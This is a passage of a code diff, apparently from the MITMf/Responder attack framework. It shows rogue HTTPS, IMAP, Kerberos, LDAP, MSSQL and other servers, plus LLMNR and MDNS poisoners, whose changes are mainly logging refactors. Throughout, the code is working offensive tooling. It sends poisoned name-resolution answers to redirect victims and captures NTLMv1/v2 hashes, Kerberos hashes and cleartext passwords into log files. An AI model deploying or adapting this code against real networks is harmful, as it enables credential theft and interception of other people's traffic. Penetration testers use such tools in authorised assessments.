ctx = SSL.Context(SSL.SSLv3_METHOD)
|
||||
ctx.use_privatekey_file(SSLkey)
|
||||
ctx.use_certificate_file(SSLcert)
|
||||
self.socket = SSL.Connection(ctx, socket.socket(self.address_family, self.socket_type))
|
||||
self.server_bind()
|
||||
self.server_activate()
|
||||
|
||||
def shutdown_request(self,request):
|
||||
try:
|
||||
request.shutdown()
|
||||
except:
|
||||
pass
|
||||
|
||||
class DoSSL(StreamRequestHandler):
|
||||
def setup(self):
|
||||
self.exchange = self.request
|
||||
self.rfile = socket._fileobject(self.request, "rb", self.rbufsize)
|
||||
self.wfile = socket._fileobject(self.request, "wb", self.wbufsize)
|
||||
|
||||
def handle(self):
|
||||
try:
|
||||
while True:
|
||||
data = self.exchange.recv(8092)
|
||||
self.exchange.settimeout(0.5)
|
||||
buff = WpadCustom(data,self.client_address[0])
|
||||
if buff:
|
||||
self.exchange.send(buff)
|
||||
else:
|
||||
buffer0 = HTTPSPacketSequence(data,self.client_address[0])
|
||||
self.exchange.send(buffer0)
|
||||
except:
|
||||
pass
|
||||
|
||||
#Parse NTLMv1/v2 hash.
|
||||
def ParseHTTPSHash(data,client):
|
||||
LMhashLen = struct.unpack('<H',data[12:14])[0]
|
||||
LMhashOffset = struct.unpack('<H',data[16:18])[0]
|
||||
LMHash = data[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
|
||||
NthashLen = struct.unpack('<H',data[20:22])[0]
|
||||
NthashOffset = struct.unpack('<H',data[24:26])[0]
|
||||
NTHash = data[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
|
||||
if NthashLen == 24:
|
||||
#print "[+]HTTPS NTLMv1 hash captured from :",client
|
||||
responder_logger.info('[+]HTTPS NTLMv1 hash captured from :%s'%(client))
|
||||
NtHash = data[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
|
||||
HostNameLen = struct.unpack('<H',data[46:48])[0]
|
||||
HostNameOffset = struct.unpack('<H',data[48:50])[0]
|
||||
Hostname = data[HostNameOffset:HostNameOffset+HostNameLen].replace('\x00','')
|
||||
#print "Hostname is :", Hostname
|
||||
responder_logger.info('[+]HTTPS NTLMv1 Hostname is :%s'%(Hostname))
|
||||
UserLen = struct.unpack('<H',data[36:38])[0]
|
||||
UserOffset = struct.unpack('<H',data[40:42])[0]
|
||||
User = data[UserOffset:UserOffset+UserLen].replace('\x00','')
|
||||
#print "User is :", data[UserOffset:UserOffset+UserLen].replace('\x00','')
|
||||
responder_logger.info('[+]HTTPS NTLMv1 User is :%s'%(data[UserOffset:UserOffset+UserLen].replace('\x00','')))
|
||||
outfile = "./logs/responder/HTTPS-NTLMv1-Client-"+client+".txt"
|
||||
WriteHash = User+"::"+Hostname+":"+LMHash+":"+NtHash+":"+NumChal
|
||||
WriteData(outfile,WriteHash, User+"::"+Hostname)
|
||||
#print "Complete hash is : ", WriteHash
|
||||
responder_logger.info('[+]HTTPS NTLMv1 Complete hash is :%s'%(WriteHash))
|
||||
if NthashLen > 24:
|
||||
#print "[+]HTTPS NTLMv2 hash captured from :",client
|
||||
responder_logger.info('[+]HTTPS NTLMv2 hash captured from :%s'%(client))
|
||||
NthashLen = 64
|
||||
DomainLen = struct.unpack('<H',data[28:30])[0]
|
||||
DomainOffset = struct.unpack('<H',data[32:34])[0]
|
||||
Domain = data[DomainOffset:DomainOffset+DomainLen].replace('\x00','')
|
||||
#print "Domain is : ", Domain
|
||||
responder_logger.info('[+]HTTPS NTLMv2 Domain is :%s'%(Domain))
|
||||
UserLen = struct.unpack('<H',data[36:38])[0]
|
||||
UserOffset = struct.unpack('<H',data[40:42])[0]
|
||||
User = data[UserOffset:UserOffset+UserLen].replace('\x00','')
|
||||
#print "User is :", User
|
||||
responder_logger.info('[+]HTTPS NTLMv2 User is : %s'%(User))
|
||||
HostNameLen = struct.unpack('<H',data[44:46])[0]
|
||||
HostNameOffset = struct.unpack('<H',data[48:50])[0]
|
||||
HostName = data[HostNameOffset:HostNameOffset+HostNameLen].replace('\x00','')
|
||||
#print "Hostname is :", HostName
|
||||
responder_logger.info('[+]HTTPS NTLMv2 Hostname is :%s'%(HostName))
|
||||
outfile = "./logs/responder/HTTPS-NTLMv2-Client-"+client+".txt"
|
||||
WriteHash = User+"::"+Domain+":"+NumChal+":"+NTHash[:32]+":"+NTHash[32:]
|
||||
WriteData(outfile,WriteHash, User+"::"+Domain)
|
||||
#print "Complete hash is : ", WriteHash
|
||||
responder_logger.info('[+]HTTPS NTLMv2 Complete hash is :%s'%(WriteHash))
|
||||
|
||||
#Handle HTTPS packet sequence.
|
||||
def HTTPSPacketSequence(data,client):
|
||||
a = re.findall('(?<=Authorization: NTLM )[^\\r]*', data)
|
||||
b = re.findall('(?<=Authorization: Basic )[^\\r]*', data)
|
||||
if a:
|
||||
packetNtlm = b64decode(''.join(a))[8:9]
|
||||
if packetNtlm == "\x01":
|
||||
GrabCookie(data,client)
|
||||
r = NTLM_Challenge(ServerChallenge=Challenge)
|
||||
r.calculate()
|
||||
t = IIS_NTLM_Challenge_Ans()
|
||||
t.calculate(str(r))
|
||||
buffer1 = str(t)
|
||||
return buffer1
|
||||
if packetNtlm == "\x03":
|
||||
NTLM_Auth= b64decode(''.join(a))
|
||||
ParseHTTPSHash(NTLM_Auth,client)
|
||||
buffer1 = str(IIS_Auth_Granted(Payload=HTMLToServe))
|
||||
return buffer1
|
||||
if b:
|
||||
GrabCookie(data,client)
|
||||
outfile = "./logs/responder/HTTPS-Clear-Text-Password-"+client+".txt"
|
||||
WriteData(outfile,b64decode(''.join(b)), b64decode(''.join(b)))
|
||||
#print "[+]HTTPS-User & Password:", b64decode(''.join(b))
|
||||
responder_logger.info('[+]HTTPS-User & Password: %s'%(b64decode(''.join(b))))
|
||||
buffer1 = str(IIS_Auth_Granted(Payload=HTMLToServe))
|
||||
return buffer1
|
||||
|
||||
else:
|
||||
return str(Basic_Ntlm(Basic))
|
||||
|
||||
##################################################################################
|
||||
#HTTPS Server stuff ends here (Not Used)
|
||||
##################################################################################
|
|
@ -4,20 +4,22 @@ import threading
|
|||
from SocketServer import TCPServer, ThreadingMixIn, BaseRequestHandler
|
||||
from IMAPPackets import *
|
||||
from core.responder.common import *
|
||||
from core.logger import logger
|
||||
|
||||
mitmf_logger = logging.getLogger("mitmf")
|
||||
formatter = logging.Formatter("%(asctime)s [IMAPserver] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
|
||||
log = logger().setup_logger("IMAPserver", formatter)
|
||||
|
||||
class IMAPServer():
|
||||
class IMAPserver():
|
||||
|
||||
def start(self):
|
||||
try:
|
||||
mitmf_logger.debug("[IMAPServer] online")
|
||||
log.debug("online")
|
||||
server = ThreadingTCPServer(("0.0.0.0", 143), IMAP)
|
||||
t = threading.Thread(name="IMAPServer", target=server.serve_forever)
|
||||
t = threading.Thread(name="IMAPserver", target=server.serve_forever)
|
||||
t.setDaemon(True)
|
||||
t.start()
|
||||
except Exception as e:
|
||||
mitmf_logger.error("[IMAPServer] Error starting on port {}: {}".format(143, e))
|
||||
log.error("Error starting on port {}: {}".format(143, e))
|
||||
|
||||
class ThreadingTCPServer(ThreadingMixIn, TCPServer):
|
||||
|
||||
|
@ -43,9 +45,9 @@ class IMAP(BaseRequestHandler):
|
|||
Outfile = "./logs/responder/IMAP-Clear-Text-Password-"+self.client_address[0]+".txt"
|
||||
WriteData(Outfile,Credentials, Credentials)
|
||||
#print '[+]IMAP Credentials from %s. ("User" "Pass"): %s'%(self.client_address[0],Credentials)
|
||||
mitmf_logger.info('[IMAPServer] IMAP Credentials from {}. ("User" "Pass"): {}'.format(self.client_address[0],Credentials))
|
||||
log.info('IMAP Credentials from {}. ("User" "Pass"): {}'.format(self.client_address[0],Credentials))
|
||||
self.request.send(str(ditchthisconnection()))
|
||||
data = self.request.recv(1024)
|
||||
|
||||
except Exception as e:
|
||||
mitmf_logger.error("[IMAPServer] Error handling request: {}".format(e))
|
||||
log.error("Error handling request: {}".format(e))
|
|
@ -1,34 +1,34 @@
|
|||
|
||||
import socket
|
||||
import threading
|
||||
import struct
|
||||
import logging
|
||||
|
||||
from core.logger import logger
|
||||
from SocketServer import UDPServer, TCPServer, ThreadingMixIn, BaseRequestHandler
|
||||
|
||||
mitmf_logger = logging.getLogger("mitmf")
|
||||
formatter = logging.Formatter("%(asctime)s [KERBserver] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
|
||||
log = logger().setup_logger("KERBserver", formatter)
|
||||
|
||||
class KERBServer():
|
||||
class KERBserver():
|
||||
|
||||
def serve_thread_udp(self, host, port, handler):
|
||||
try:
|
||||
server = ThreadingUDPServer((host, port), handler)
|
||||
server.serve_forever()
|
||||
except Exception, e:
|
||||
mitmf_logger.debug("[KERBServer] Error starting UDP server on port 88: {}:".format(e))
|
||||
except Exception as e:
|
||||
log.debug("Error starting UDP server on port 88: {}:".format(e))
|
||||
|
||||
def serve_thread_tcp(self, host, port, handler):
|
||||
try:
|
||||
server = ThreadingTCPServer((host, port), handler)
|
||||
server.serve_forever()
|
||||
except Exception, e:
|
||||
mitmf_logger.debug("[KERBServer] Error starting TCP server on port 88: {}:".format(e))
|
||||
except Exception as e:
|
||||
log.debug("Error starting TCP server on port 88: {}:".format(e))
|
||||
|
||||
#Function name self-explanatory
|
||||
def start(self):
|
||||
mitmf_logger.debug("[KERBServer] online")
|
||||
t1 = threading.Thread(name="KERBServerUDP", target=self.serve_thread_udp, args=("0.0.0.0", 88,KerbUDP))
|
||||
t2 = threading.Thread(name="KERBServerTCP", target=self.serve_thread_tcp, args=("0.0.0.0", 88, KerbTCP))
|
||||
log.debug("online")
|
||||
t1 = threading.Thread(name="KERBserverUDP", target=self.serve_thread_udp, args=("0.0.0.0", 88,KerbUDP))
|
||||
t2 = threading.Thread(name="KERBserverTCP", target=self.serve_thread_tcp, args=("0.0.0.0", 88, KerbTCP))
|
||||
for t in [t1,t2]:
|
||||
t.setDaemon(True)
|
||||
t.start()
|
||||
|
@ -54,7 +54,7 @@ class KerbTCP(BaseRequestHandler):
|
|||
data = self.request.recv(1024)
|
||||
KerbHash = ParseMSKerbv5TCP(data)
|
||||
if KerbHash:
|
||||
mitmf_logger.info('[KERBServer] MSKerbv5 complete hash is: {}'.format(KerbHash))
|
||||
log.info('MSKerbv5 complete hash is: {}'.format(KerbHash))
|
||||
except Exception:
|
||||
raise
|
||||
|
||||
|
@ -65,7 +65,7 @@ class KerbUDP(BaseRequestHandler):
|
|||
data, soc = self.request
|
||||
KerbHash = ParseMSKerbv5UDP(data)
|
||||
if KerbHash:
|
||||
mitmf_logger.info('[KERBServer] MSKerbv5 complete hash is: {}'.format(KerbHash))
|
||||
log.info('MSKerbv5 complete hash is: {}'.format(KerbHash))
|
||||
except Exception:
|
||||
raise
|
||||
|
|
@ -6,22 +6,24 @@ import re
|
|||
from SocketServer import TCPServer, ThreadingMixIn, BaseRequestHandler
|
||||
from LDAPPackets import *
|
||||
from core.responder.common import *
|
||||
from core.logger import logger
|
||||
|
||||
mitmf_logger = logging.getLogger("mitmf")
|
||||
formatter = logging.Formatter("%(asctime)s [LDAPserver] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
|
||||
log = logger().setup_logger("LDAPserver", formatter)
|
||||
|
||||
class LDAPServer():
|
||||
class LDAPserver():
|
||||
|
||||
def start(self, chal):
|
||||
global Challenge; Challenge = chal
|
||||
|
||||
try:
|
||||
mitmf_logger.debug("[LDAPServer] online")
|
||||
log.debug("online")
|
||||
server = ThreadingTCPServer(("0.0.0.0", 389), LDAP)
|
||||
t = threading.Thread(name="LDAPServer", target=server.serve_forever)
|
||||
t = threading.Thread(name="LDAPserver", target=server.serve_forever)
|
||||
t.setDaemon(True)
|
||||
t.start()
|
||||
except Exception as e:
|
||||
mitmf_logger.error("[LDAPServer] Error starting on port {}: {}".format(389, e))
|
||||
log.error("Error starting on port {}: {}".format(389, e))
|
||||
|
||||
class ThreadingTCPServer(ThreadingMixIn, TCPServer):
|
||||
|
||||
|
@ -60,11 +62,11 @@ def ParseLDAPHash(data,client):
|
|||
Outfile = "./logs/responder/LDAP-NTLMv1-"+client+".txt"
|
||||
WriteData(Outfile,writehash,User+"::"+Domain)
|
||||
#print "[LDAP] NTLMv1 complete hash is :", writehash
|
||||
mitmf_logger.info('[LDAP] NTLMv1 complete hash is :%s'%(writehash))
|
||||
log.info('NTLMv1 complete hash is :%s'%(writehash))
|
||||
if LMhashLen <2 :
|
||||
Message = '[LDAPServer] LDAP Anonymous NTLM authentication, ignoring..'
|
||||
Message = 'LDAP Anonymous NTLM authentication, ignoring..'
|
||||
#print Message
|
||||
mitmf_logger.info(Message)
|
||||
log.info(Message)
|
||||
|
||||
def ParseNTLM(data,client):
|
||||
Search1 = re.search('(NTLMSSP\x00\x01\x00\x00\x00)', data)
|
||||
|
@ -93,8 +95,8 @@ def ParseLDAPPacket(data,client):
|
|||
Password = data[20+UserDomainLen+2:20+UserDomainLen+2+PassLen]
|
||||
#print '[LDAP]Clear Text User & Password is:', UserDomain+":"+Password
|
||||
outfile = "./logs/responder/LDAP-Clear-Text-Password-"+client+".txt"
|
||||
WriteData(outfile,'[LDAPServer] User: %s Password: %s'%(UserDomain,Password),'[LDAP]User: %s Password: %s'%(UserDomain,Password))
|
||||
mitmf_logger.info('[LDAPServer] User: %s Password: %s'%(UserDomain,Password))
|
||||
WriteData(outfile,'User: %s Password: %s'%(UserDomain,Password),'[LDAP]User: %s Password: %s'%(UserDomain,Password))
|
||||
log.info('User: %s Password: %s'%(UserDomain,Password))
|
||||
if sasl == "\xA3":
|
||||
buff = ParseNTLM(data,client)
|
||||
return buff
|
||||
|
@ -102,7 +104,7 @@ def ParseLDAPPacket(data,client):
|
|||
buff = ParseSearch(data)
|
||||
return buff
|
||||
else:
|
||||
mitmf_logger.info('[LDAPServer] Operation not supported')
|
||||
log.info('Operation not supported')
|
||||
|
||||
#LDAP Server Class
|
||||
class LDAP(BaseRequestHandler):
|
|
@ -1,34 +1,34 @@
|
|||
#! /usr/bin/env python2.7
|
||||
|
||||
import socket
|
||||
import threading
|
||||
import struct
|
||||
import logging
|
||||
|
||||
from SocketServer import UDPServer, ThreadingMixIn, BaseRequestHandler
|
||||
from core.logger import logger
|
||||
from core.configwatcher import ConfigWatcher
|
||||
from core.responder.fingerprinter.Fingerprint import RunSmbFinger
|
||||
from core.responder.packet import Packet
|
||||
from core.responder.odict import OrderedDict
|
||||
from core.responder.common import *
|
||||
|
||||
mitmf_logger = logging.getLogger("mitmf")
|
||||
formatter = logging.Formatter("%(asctime)s [LLMNRpoisoner] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
|
||||
log = logger().setup_logger("LLMNRpoisoner", formatter)
|
||||
|
||||
class LLMNRPoisoner:
|
||||
class LLMNRpoisoner:
|
||||
|
||||
def start(self, options, ourip):
|
||||
|
||||
global args; args = options #For now a quick hack to make argparse's namespace object available to all
|
||||
global args; args = options #For now a quick way to make argparse's namespace object available to all
|
||||
global OURIP ; OURIP = ourip #and our ip address
|
||||
|
||||
try:
|
||||
mitmf_logger.debug("[LLMNRPoisoner] OURIP => {}".format(OURIP))
|
||||
log.debug("OURIP => {}".format(OURIP))
|
||||
server = ThreadingUDPLLMNRServer(("0.0.0.0", 5355), LLMNR)
|
||||
t = threading.Thread(name="LLMNRPoisoner", target=server.serve_forever) #LLMNR
|
||||
t = threading.Thread(name="LLMNRpoisoner", target=server.serve_forever) #LLMNR
|
||||
t.setDaemon(True)
|
||||
t.start()
|
||||
except Exception, e:
|
||||
mitmf_logger.error("[LLMNRPoisoner] Error starting on port 5355: {}:".format(e))
|
||||
except Exception as e:
|
||||
log.error("Error starting on port 5355: {}:".format(e))
|
||||
|
||||
class ThreadingUDPLLMNRServer(ThreadingMixIn, UDPServer):
|
||||
|
||||
|
@ -82,7 +82,7 @@ class LLMNR(BaseRequestHandler):
|
|||
|
||||
def handle(self):
|
||||
|
||||
ResponderConfig = ConfigWatcher.getInstance().getConfig()['Responder']
|
||||
ResponderConfig = ConfigWatcher().config['Responder']
|
||||
DontRespondTo = ResponderConfig['DontRespondTo']
|
||||
DontRespondToName = ResponderConfig['DontRespondToName']
|
||||
RespondTo = ResponderConfig['RespondTo']
|
||||
|
@ -97,11 +97,11 @@ class LLMNR(BaseRequestHandler):
|
|||
if args.finger:
|
||||
try:
|
||||
Finger = RunSmbFinger((self.client_address[0],445))
|
||||
mitmf_logger.warning("[LLMNRPoisoner] {} is looking for: {} | OS: {} | Client Version: {}".format(self.client_address[0], Name,Finger[0],Finger[1]))
|
||||
log.warning("{} is looking for: {} | OS: {} | Client Version: {}".format(self.client_address[0], Name,Finger[0],Finger[1]))
|
||||
except Exception:
|
||||
mitmf_logger.warning("[LLMNRPoisoner] {} is looking for: {}".format(self.client_address[0], Name))
|
||||
log.warning("{} is looking for: {}".format(self.client_address[0], Name))
|
||||
else:
|
||||
mitmf_logger.warning("[LLMNRPoisoner] {} is looking for: {}".format(self.client_address[0], Name))
|
||||
log.warning("{} is looking for: {}".format(self.client_address[0], Name))
|
||||
|
||||
if DontRespondToSpecificHost(DontRespondTo):
|
||||
if RespondToIPScope(DontRespondTo, self.client_address[0]):
|
||||
|
@ -118,13 +118,13 @@ class LLMNR(BaseRequestHandler):
|
|||
buff.calculate()
|
||||
for x in range(1):
|
||||
soc.sendto(str(buff), self.client_address)
|
||||
mitmf_logger.warning("[LLMNRPoisoner] Poisoned answer sent to {} the requested name was: {}".format(self.client_address[0],Name))
|
||||
log.warning("Poisoned answer sent to {} the requested name was: {}".format(self.client_address[0],Name))
|
||||
if args.finger:
|
||||
try:
|
||||
Finger = RunSmbFinger((self.client_address[0],445))
|
||||
mitmf_logger.info('[LLMNRPoisoner] OS: {} | ClientVersion: {}'.format(Finger[0], Finger[1]))
|
||||
log.info('OS: {} | ClientVersion: {}'.format(Finger[0], Finger[1]))
|
||||
except Exception:
|
||||
mitmf_logger.info('[LLMNRPoisoner] Fingerprint failed for host: {}'.format(self.client_address[0]))
|
||||
log.info('Fingerprint failed for host: {}'.format(self.client_address[0]))
|
||||
pass
|
||||
|
||||
if RespondToSpecificName(RespondToName) and RespondToNameScope(RespondToName.upper(), Name.upper()):
|
||||
|
@ -132,13 +132,13 @@ class LLMNR(BaseRequestHandler):
|
|||
buff.calculate()
|
||||
for x in range(1):
|
||||
soc.sendto(str(buff), self.client_address)
|
||||
mitmf_logger.warning("[LLMNRPoisoner] Poisoned answer sent to {} the requested name was: {}".format(self.client_address[0],Name))
|
||||
log.warning("[LLMNRPoisoner] Poisoned answer sent to {} the requested name was: {}".format(self.client_address[0],Name))
|
||||
if args.finger:
|
||||
try:
|
||||
Finger = RunSmbFinger((self.client_address[0],445))
|
||||
mitmf_logger.info('[LLMNRPoisoner] OS: {} | ClientVersion: {}'.format(Finger[0], Finger[1]))
|
||||
log.info('OS: {} | ClientVersion: {}'.format(Finger[0], Finger[1]))
|
||||
except Exception:
|
||||
mitmf_logger.info('[LLMNRPoisoner] Fingerprint failed for host: {}'.format(self.client_address[0]))
|
||||
log.info('Fingerprint failed for host: {}'.format(self.client_address[0]))
|
||||
pass
|
||||
|
||||
if args.analyze == False and RespondToSpecificHost(RespondTo) == False:
|
||||
|
@ -147,26 +147,26 @@ class LLMNR(BaseRequestHandler):
|
|||
buff.calculate()
|
||||
for x in range(1):
|
||||
soc.sendto(str(buff), self.client_address)
|
||||
mitmf_logger.warning("[LLMNRPoisoner] Poisoned answer sent to {} the requested name was: {}".format(self.client_address[0], Name))
|
||||
log.warning("Poisoned answer sent to {} the requested name was: {}".format(self.client_address[0], Name))
|
||||
if args.finger:
|
||||
try:
|
||||
Finger = RunSmbFinger((self.client_address[0],445))
|
||||
mitmf_logger.info('[LLMNRPoisoner] OS: {} | ClientVersion: {}'.format(Finger[0], Finger[1]))
|
||||
log.info('OS: {} | ClientVersion: {}'.format(Finger[0], Finger[1]))
|
||||
except Exception:
|
||||
mitmf_logger.info('[LLMNRPoisoner] Fingerprint failed for host: {}'.format(self.client_address[0]))
|
||||
log.info('Fingerprint failed for host: {}'.format(self.client_address[0]))
|
||||
pass
|
||||
if RespondToSpecificName(RespondToName) == False:
|
||||
buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name)
|
||||
buff.calculate()
|
||||
for x in range(1):
|
||||
soc.sendto(str(buff), self.client_address)
|
||||
mitmf_logger.warning("[LLMNRPoisoner] Poisoned answer sent to {} the requested name was: {}".format(self.client_address[0], Name))
|
||||
log.warning("Poisoned answer sent to {} the requested name was: {}".format(self.client_address[0], Name))
|
||||
if args.finger:
|
||||
try:
|
||||
Finger = RunSmbFinger((self.client_address[0],445))
|
||||
mitmf_logger.info('[LLMNRPoisoner] OS: {} | ClientVersion: {}'.format(Finger[0], Finger[1]))
|
||||
log.info('OS: {} | ClientVersion: {}'.format(Finger[0], Finger[1]))
|
||||
except Exception:
|
||||
mitmf_logger.info('[LLMNRPoisoner] Fingerprint failed for host: {}'.format(self.client_address[0]))
|
||||
log.info('Fingerprint failed for host: {}'.format(self.client_address[0]))
|
||||
pass
|
||||
else:
|
||||
pass
|
|
@ -1,5 +1,3 @@
|
|||
#! /usr/bin/env python2.7
|
||||
|
||||
import threading
|
||||
import socket
|
||||
import struct
|
||||
|
@ -10,10 +8,12 @@ from core.configwatcher import ConfigWatcher
|
|||
from core.responder.odict import OrderedDict
|
||||
from core.responder.packet import Packet
|
||||
from core.responder.common import *
|
||||
from core.logger import logger
|
||||
|
||||
mitmf_logger = logging.getLogger("mitmf")
|
||||
formatter = logging.Formatter("%(asctime)s [MDNSpoisoner] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
|
||||
log = logger().setup_logger("MDNSpoisoner", formatter)
|
||||
|
||||
class MDNSPoisoner():
|
||||
class MDNSpoisoner():
|
||||
|
||||
def start(self, options, ourip):
|
||||
|
||||
|
@ -21,13 +21,13 @@ class MDNSPoisoner():
|
|||
global OURIP; OURIP = ourip
|
||||
|
||||
try:
|
||||
mitmf_logger.debug("[MDNSPoisoner] OURIP => {}".format(OURIP))
|
||||
log.debug("OURIP => {}".format(OURIP))
|
||||
server = ThreadingUDPMDNSServer(("0.0.0.0", 5353), MDNS)
|
||||
t = threading.Thread(name="MDNSPoisoner", target=server.serve_forever)
|
||||
t = threading.Thread(name="MDNSpoisoner", target=server.serve_forever)
|
||||
t.setDaemon(True)
|
||||
t.start()
|
||||
except Exception, e:
|
||||
print "[MDNSPoisoner] Error starting on port 5353: {}" .format(e)
|
||||
log.error("Error starting on port 5353: {}" .format(e))
|
||||
|
||||
class ThreadingUDPMDNSServer(ThreadingMixIn, UDPServer):
|
||||
|
||||
|
@ -78,7 +78,7 @@ class MDNS(BaseRequestHandler):
|
|||
|
||||
def handle(self):
|
||||
|
||||
ResponderConfig = ConfigWatcher.getInstance().getConfig()['Responder']
|
||||
ResponderConfig = ConfigWatcher().config['Responder']
|
||||
RespondTo = ResponderConfig['RespondTo']
|
||||
|
||||
MADDR = "224.0.0.251"
|
||||
|
@ -89,14 +89,14 @@ class MDNS(BaseRequestHandler):
|
|||
try:
|
||||
if args.analyze:
|
||||
if Parse_IPV6_Addr(data):
|
||||
mitmf_logger.info('[MDNSPoisoner] {} is looking for: {}'.format(self.client_address[0],Parse_MDNS_Name(data)))
|
||||
log.info('{} is looking for: {}'.format(self.client_address[0],Parse_MDNS_Name(data)))
|
||||
|
||||
if RespondToSpecificHost(RespondTo):
|
||||
if args.analyze == False:
|
||||
if RespondToIPScope(RespondTo, self.client_address[0]):
|
||||
if Parse_IPV6_Addr(data):
|
||||
|
||||
mitmf_logger.info('[MDNSPoisoner] Poisoned answer sent to {} the requested name was: {}'.format(self.client_address[0],Parse_MDNS_Name(data)))
|
||||
log.info('Poisoned answer sent to {} the requested name was: {}'.format(self.client_address[0],Parse_MDNS_Name(data)))
|
||||
Name = Poisoned_MDNS_Name(data)
|
||||
MDns = MDNSAns(AnswerName = Name)
|
||||
MDns.calculate()
|
||||
|
@ -104,7 +104,7 @@ class MDNS(BaseRequestHandler):
|
|||
|
||||
if args.analyze == False and RespondToSpecificHost(RespondTo) == False:
|
||||
if Parse_IPV6_Addr(data):
|
||||
mitmf_logger.info('[MDNSPoisoner] Poisoned answer sent to {} the requested name was: {}'.format(self.client_address[0],Parse_MDNS_Name(data)))
|
||||
log.info('Poisoned answer sent to {} the requested name was: {}'.format(self.client_address[0],Parse_MDNS_Name(data)))
|
||||
Name = Poisoned_MDNS_Name(data)
|
||||
MDns = MDNSAns(AnswerName = Name)
|
||||
MDns.calculate()
|
|
@ -2,25 +2,27 @@ import struct
|
|||
import logging
|
||||
import threading
|
||||
|
||||
from core.logger import logger
|
||||
from SocketServer import TCPServer, ThreadingMixIn, BaseRequestHandler
|
||||
from MSSQLPackets import *
|
||||
from core.responder.common import *
|
||||
|
||||
mitmf_logger = logging.getLogger("mitmf")
|
||||
formatter = logging.Formatter("%(asctime)s [MSSQLserver] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
|
||||
log = logger().setup_logger("MSSQLserver", formatter)
|
||||
|
||||
class MSSQLServer():
|
||||
class MSSQLserver():
|
||||
|
||||
def start(self, chal):
|
||||
global Challenge; Challenge = chal
|
||||
|
||||
try:
|
||||
mitmf_logger.debug("[MSSQLServer] online")
|
||||
log.debug("online")
|
||||
server = ThreadingTCPServer(("0.0.0.0", 1433), MSSQL)
|
||||
t = threading.Thread(name="MSSQLServer", target=server.serve_forever)
|
||||
t = threading.Thread(name="MSSQLserver", target=server.serve_forever)
|
||||
t.setDaemon(True)
|
||||
t.start()
|
||||
except Exception as e:
|
||||
mitmf_logger.error("[MSSQLServer] Error starting on port {}: {}".format(1433, e))
|
||||
log.error("Error starting on port {}: {}".format(1433, e))
|
||||
|
||||
class ThreadingTCPServer(ThreadingMixIn, TCPServer):
|
||||
|
||||
|
@ -47,10 +49,10 @@ def ParseSQLHash(data,client):
|
|||
User = SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')
|
||||
outfile = "./logs/responder/MSSQL-NTLMv1-Client-"+client+".txt"
|
||||
WriteData(outfile,User+"::"+Domain+":"+LMHash+":"+NtHash+":"+Challenge, User+"::"+Domain)
|
||||
mitmf_logger.info('[MSSQLServer] MsSQL NTLMv1 hash captured from :{}'.format(client))
|
||||
mitmf_logger.info('[MSSQLServer] MSSQL NTLMv1 User is :{}'.format(SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')))
|
||||
mitmf_logger.info('[MSSQLServer] MSSQL NTLMv1 Domain is :{}'.format(Domain))
|
||||
mitmf_logger.info('[MSSQLServer] MSSQL NTLMv1 Complete hash is: {}'.format(User+"::"+Domain+":"+LMHash+":"+NtHash+":"+Challenge))
|
||||
log.info('MsSQL NTLMv1 hash captured from :{}'.format(client))
|
||||
log.info('MSSQL NTLMv1 User is :{}'.format(SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')))
|
||||
log.info('MSSQL NTLMv1 Domain is :{}'.format(Domain))
|
||||
log.info('MSSQL NTLMv1 Complete hash is: {}'.format(User+"::"+Domain+":"+LMHash+":"+NtHash+":"+Challenge))
|
||||
if NthashLen > 60:
|
||||
DomainLen = struct.unpack('<H',data[36:38])[0]
|
||||
NthashOffset = struct.unpack('<H',data[32:34])[0]
|
||||
|
@ -64,10 +66,10 @@ def ParseSQLHash(data,client):
|
|||
outfile = "./logs/responder/MSSQL-NTLMv2-Client-"+client+".txt"
|
||||
Writehash = User+"::"+Domain+":"+Challenge+":"+Hash[:32].upper()+":"+Hash[32:].upper()
|
||||
WriteData(outfile,Writehash,User+"::"+Domain)
|
||||
mitmf_logger.info('[MSSQLServer] MSSQL NTLMv2 hash captured from {}'.format(client))
|
||||
mitmf_logger.info('[MSSQLServer] MSSQL NTLMv2 Domain is: {}'.format(Domain))
|
||||
mitmf_logger.info('[MSSQLServer] MSSQL NTLMv2 User is: {}'.format(SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')))
|
||||
mitmf_logger.info('[MSSQLServer] MSSQL NTLMv2 Complete Hash is: {}'.format(Writehash))
|
||||
log.info('MSSQL NTLMv2 hash captured from {}'.format(client))
|
||||
log.info('MSSQL NTLMv2 Domain is: {}'.format(Domain))
|
||||
log.info('MSSQL NTLMv2 User is: {}'.format(SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')))
|
||||
log.info('MSSQL NTLMv2 Complete Hash is: {}'.format(Writehash))
|
||||
|
||||
def ParseSqlClearTxtPwd(Pwd):
|
||||
Pwd = map(ord,Pwd.replace('\xa5',''))
|
||||
|
@ -86,7 +88,7 @@ def ParseClearTextSQLPass(Data,client):
|
|||
PwdStr = ParseSqlClearTxtPwd(Data[8+PwdOffset:8+PwdOffset+PwdLen])
|
||||
UserName = Data[8+UsernameOffset:8+UsernameOffset+UsernameLen].decode('utf-16le')
|
||||
WriteData(outfile,UserName+":"+PwdStr,UserName+":"+PwdStr)
|
||||
mitmf_logger.info('[MSSQLServer] {} MSSQL Username: {} Password: {}'.format(client, UserName, PwdStr))
|
||||
log.info('{} MSSQL Username: {} Password: {}'.format(client, UserName, PwdStr))
|
||||
|
||||
def ParsePreLoginEncValue(Data):
|
||||
PacketLen = struct.unpack('>H',Data[2:4])[0]
|
|
@ -7,15 +7,17 @@ import logging
|
|||
import string
|
||||
|
||||
from SocketServer import UDPServer, ThreadingMixIn, BaseRequestHandler
|
||||
from core.logger import logger
|
||||
from core.configwatcher import ConfigWatcher
|
||||
from core.responder.fingerprinter.Fingerprint import RunSmbFinger
|
||||
from core.responder.odict import OrderedDict
|
||||
from core.responder.packet import Packet
|
||||
from core.responder.common import *
|
||||
|
||||
mitmf_logger = logging.getLogger("mitmf")
|
||||
